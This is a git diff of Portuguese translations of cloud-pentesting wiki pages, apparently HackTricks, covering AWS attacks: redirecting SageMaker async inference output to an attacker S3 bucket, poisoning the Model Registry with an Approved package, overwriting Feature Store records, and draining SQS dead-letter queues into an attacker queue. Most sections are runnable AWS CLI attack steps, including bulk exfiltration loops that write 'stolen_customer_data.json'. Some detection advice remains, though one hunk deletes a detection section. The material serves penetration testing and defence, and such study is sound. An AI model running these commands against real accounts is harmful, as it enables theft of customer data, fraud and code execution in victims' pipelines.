CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crie um bucket do atacante (garanta que a função de execução do modelo possa PutObject nele)
|
||||
2) Crie um bucket do atacante (assegure que a função de execução do modelo possa PutObject nele)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Acionar uma async invocation e verificar se os objetos chegam no attacker S3
|
||||
4) Acionar uma invocação assíncrona e verificar se os objetos são gravados no S3 do atacante
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -115,27 +116,28 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impact
|
||||
- Redireciona resultados de inference assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração covert de predictions e, potencialmente, inputs sensíveis pré/pós-processados produzidos pelo container, sem alterar o model code ou image e com downtime mínimo/nulo.
|
||||
### Impacto
|
||||
- Redireciona resultados de inferência assíncrona (e corpos de erro) para um S3 controlado pelo atacante, possibilitando exfiltração encoberta de predições e, potencialmente, entradas pré/pós-processadas sensíveis produzidas pelo container, sem alterar o código ou a imagem do modelo e com tempo de inatividade mínimo ou inexistente.
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se um atacante puder CreateModelPackage em um Model Package Group alvo do SageMaker, ele pode registrar uma nova versão do modelo que aponte para uma container image controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines CI/CD auto-deployam versões Approved para endpoints ou training jobs, resultando em execução de código do atacante sob os execution roles do serviço. Exposição cross-account pode ser ampliada por uma permissive ModelPackageGroup resource policy.
|
||||
## Injeção na cadeia de suprimentos do SageMaker Model Registry via CreateModelPackage(Approved)
|
||||
|
||||
### Requirements
|
||||
Se um atacante puder executar CreateModelPackage em um SageMaker Model Package Group alvo, ele pode registrar uma nova versão do modelo que aponta para uma imagem de container controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines de CI/CD implantam automaticamente versões de modelos Approved em endpoints ou training jobs, resultando em execução de código do atacante sob as funções de execução do serviço. A exposição cross-account pode ser amplificada por uma policy permissiva do recurso ModelPackageGroup.
|
||||
|
||||
### Requisitos
|
||||
- IAM (mínimo para envenenar um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
|
||||
- Opcional (para criar um grupo se não existir): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access ao ModelDataUrl referenciado (ou hospedar artifacts controlados pelo atacante)
|
||||
- Target: um Model Package Group que automação downstream monitora para versões Approved
|
||||
- S3: Acesso de leitura ao ModelDataUrl referenciado (ou hospede artefatos controlados pelo atacante)
|
||||
- Alvo: Um Model Package Group que a automação a jusante monitora para versões Approved
|
||||
|
||||
### Steps
|
||||
1) Set region and create/find a target Model Package Group
|
||||
### Passos
|
||||
1) Defina a região e crie/encontre um Model Package Group alvo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Preparar dados fictícios do modelo no S3
|
||||
2) Preparar dados fictícios de modelo no S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -143,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrar uma Approved model package version maliciosa (aqui benigna) referenciando uma imagem pública AWS DLC
|
||||
3) Registrar uma Approved model package version maliciosa (aqui inofensiva) referenciando uma imagem pública AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -165,13 +167,14 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impacto
|
||||
- Poison the Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que auto-deploy Approved models podem puxar e executar a imagem do atacante, resultando em execução de código sob endpoint/training roles.
|
||||
- Com uma política de recurso permissiva ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
|
||||
- Envenenar o Model Registry com uma versão Approved que referencia attacker-controlled code. Pipelines que auto-deploy Approved models podem pull and run a attacker image, resultando em code execution sob endpoint/training roles.
|
||||
- Com uma política permissiva do recurso ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela online inference. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isto não requer acesso a modelos ou endpoints.
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um attacker pode ler features sensíveis. Isto não requer acesso a models ou endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled para sobrescrever valores de feature ativos consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis e exfiltrar dados confidenciais de ML. Isso não requer acesso a modelos ou endpoints, tornando-o um ataque direto na camada de dados.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de features ao vivo consumidos pela inferência em tempo real. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
|
||||
|
||||
## Requisitos
|
||||
- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Alvo: Feature Group com OnlineStore enabled (tipicamente backing real-time inference)
|
||||
- Complexidade: **BAIXA** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
|
||||
- Alvo: Feature Group com OnlineStore habilitado (normalmente servindo inferência em tempo real)
|
||||
- Complexidade: **LOW** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
|
||||
|
||||
## Etapas
|
||||
|
||||
### Reconnaissance
|
||||
### Reconhecimento
|
||||
|
||||
1) List Feature Groups with OnlineStore enabled
|
||||
1) Liste Feature Groups com OnlineStore habilitado
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,14 +21,14 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Descrever um Feature Group alvo para entender seu esquema
|
||||
2) Descreva um Feature Group alvo para entender seu esquema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Estes são necessários para criar registros válidos.
|
||||
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Elas são necessárias para criar registros válidos.
|
||||
|
||||
### Cenário de Ataque 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verificar os dados envenenados
|
||||
3) Verifique os dados envenenados
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impacto**: Modelos de ML que consumirem essa feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
|
||||
**Impacto**: ML models que consomem esta feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
|
||||
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### Cenário de Ataque 2: Injeção Maliciosa de Dados (Criar Registros Fraudulentos)
|
||||
|
||||
Injetar registros completamente novos com features manipuladas para burlar controles de segurança:
|
||||
Injete registros completamente novos com features manipuladas para contornar controles de segurança:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impacto**: Um atacante cria uma identidade falsa com pontuação de risco baixa (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
|
||||
**Impacto**: O atacante cria uma identidade falsa com baixa pontuação de risco (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
|
||||
|
||||
### Cenário de Ataque 3: Exfiltração de Dados Sensíveis
|
||||
|
||||
Ler múltiplos registros para extrair features confidenciais e mapear o comportamento do modelo:
|
||||
Ler múltiplos registros para extrair features confidenciais e perfilar o comportamento do modelo:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impacto**: features confidenciais (pontuações de risco, padrões de transações, dados pessoais) expostos a um atacante.
|
||||
**Impacto**: Recursos confidenciais (escores de risco, padrões de transação, dados pessoais) expostos ao atacante.
|
||||
|
||||
### Criação de Feature Group de Teste/Demonstração (Opcional)
|
||||
### Criação de Feature Group para Teste/Demo (Opcional)
|
||||
|
||||
Se precisar criar um Feature Group de teste:
|
||||
```bash
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detecção
|
||||
|
||||
Monitore o CloudTrail em busca de padrões suspeitos:
|
||||
- eventos `PutRecord` de entidades IAM incomuns ou endereços IP
|
||||
- Chamadas `PutRecord` ou `GetRecord` em alta frequência
|
||||
- `PutRecord` com valores de feature anômalos (por exemplo, risk_score fora do intervalo normal)
|
||||
- Operações em massa `GetRecord` indicando exfiltração em massa
|
||||
- Acesso fora do horário comercial normal ou de locais inesperados
|
||||
|
||||
Implemente detecção de anomalias:
|
||||
- Validação de valores de feature (por exemplo, risk_score deve ser 0.0-1.0)
|
||||
- Análise de padrões de escrita (frequência, horários, identidade da origem)
|
||||
- Detecção de drift de dados (mudanças súbitas nas distribuições de feature)
|
||||
|
||||
## Referências
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
- [Documentação do AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Melhores práticas de segurança do Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,53 +1,55 @@
|
||||
# AWS – Exfiltração do DLQ do SQS via StartMessageMoveTask
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Descrição
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) da vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
|
||||
## Description
|
||||
|
||||
## O que é um Dead-Letter Queue (DLQ)?
|
||||
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
|
||||
|
||||
Uma Dead-Letter Queue é uma fila especial do SQS onde mensagens são enviadas automaticamente quando não conseguem ser processadas com sucesso pela aplicação principal. Essas mensagens com falha frequentemente contêm:
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas pela aplicação principal. Essas mensagens com falha frequentemente contêm:
|
||||
- Dados sensíveis da aplicação que não puderam ser processados
|
||||
- Detalhes de erro e informações de depuração
|
||||
- Detalhes de erro e informações de debug
|
||||
- Informações Pessoais Identificáveis (PII)
|
||||
- Tokens de API, credenciais ou outros segredos
|
||||
- Dados de transações críticos para o negócio
|
||||
|
||||
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar adequadamente.
|
||||
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.
|
||||
|
||||
## Cenário de Ataque
|
||||
## Attack Scenario
|
||||
|
||||
**Exemplo do mundo real:**
|
||||
1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
|
||||
2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
|
||||
3. **DLQ acumula** semanas/meses de pedidos com falha contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
|
||||
5. **Atacante descobre** que a DLQ contém milhares de pedidos com falha com dados sensíveis
|
||||
6. **Em vez de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
|
||||
7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processes customer orders through SQS
|
||||
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
|
||||
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Attacker gains access** to AWS credentials with SQS permissions
|
||||
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
|
||||
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
|
||||
7. **Attacker extracts** all historical sensitive data in one operation
|
||||
|
||||
## Requisitos
|
||||
- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
|
||||
- Permissões IAM (executando como o principal da vítima comprometida):
|
||||
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na fila de destino: permissão para entregar mensagens (por exemplo, política da fila permitindo `sqs:SendMessage` do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
|
||||
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
## Requirements
|
||||
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
|
||||
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impacto
|
||||
Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos com falha, PII, tokens, payloads de aplicações) em alta velocidade usando APIs nativas do SQS. Funciona entre contas se a política da fila de destino permitir `SendMessage` do principal da vítima.
|
||||
## Impact
|
||||
Exfiltrar payloads sensíveis acumulados em DLQs (eventos com falha, PII, tokens, payloads de aplicação) em alta velocidade usando APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima.
|
||||
|
||||
## Como Abusar
|
||||
## How to Abuse
|
||||
|
||||
- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
|
||||
- Identificar o ARN do DLQ da vítima e garantir que ele esteja realmente referenciado como DLQ por alguma fila (qualquer fila serve).
|
||||
- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
|
||||
- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
|
||||
- Iniciar uma message move task do DLQ da vítima para sua fila de destino.
|
||||
- Monitorar o progresso ou cancelar se necessário.
|
||||
|
||||
### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ que contém tentativas de processamento de pedidos de clientes com falha.
|
||||
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
|
||||
|
||||
1) **Descobrir e examinar a DLQ da vítima**
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Criar fila de destino controlada pelo atacante**
|
||||
2) **Criar attacker-controlled fila de destino**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Recolher os dados sensíveis roubados**
|
||||
4) **Coletar os dados sensíveis roubados**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notas cross-account
|
||||
- A fila de destino deve ter uma resource policy que permita ao principal da vítima executar `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
|
||||
### Observações sobre contas cruzadas
|
||||
- A fila de destino deve ter uma política de recurso permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions).
|
||||
|
||||
## Por que este ataque é eficaz
|
||||
|
||||
1. **Funcionalidade legítima da AWS**: Usa funcionalidade nativa da AWS, tornando difícil detectar como malicioso
|
||||
2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
|
||||
1. **Funcionalidade legítima da AWS**: Usa funcionalidades integradas da AWS, tornando difícil detectar como malicioso
|
||||
2. **Operação em lote**: Transfere milhares de mensagens rapidamente ao invés de acesso individual lento
|
||||
3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Fora do radar**: Muitas organizações não monitoram de perto o acesso às DLQs
|
||||
5. **Capaz de cross-account**: Pode exfiltrate para a própria conta AWS do atacante se as permissões permitirem
|
||||
5. **Capaz entre contas**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
|
||||
|
||||
## Detecção e Prevenção
|
||||
|
||||
### Detecção
|
||||
Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
|
||||
Monitore o CloudTrail por chamadas API suspeitas `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -143,8 +145,10 @@ Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
|
||||
}
|
||||
```
|
||||
### Prevenção
|
||||
1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` somente às funções necessárias
|
||||
2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
|
||||
3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila do SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza regular**: Não permita que dados sensíveis se acumulem nas DLQs indefinidamente
|
||||
1. **Princípio do menor privilégio**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos roles necessários
|
||||
2. **Monitorar DLQs**: Configurar alarmes do CloudWatch para atividade incomum nas DLQs
|
||||
3. **Políticas entre contas**: Revisar cuidadosamente as políticas da fila SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Usar SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza regular**: Não permitir que dados sensíveis se acumulem nas DLQs indefinidamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user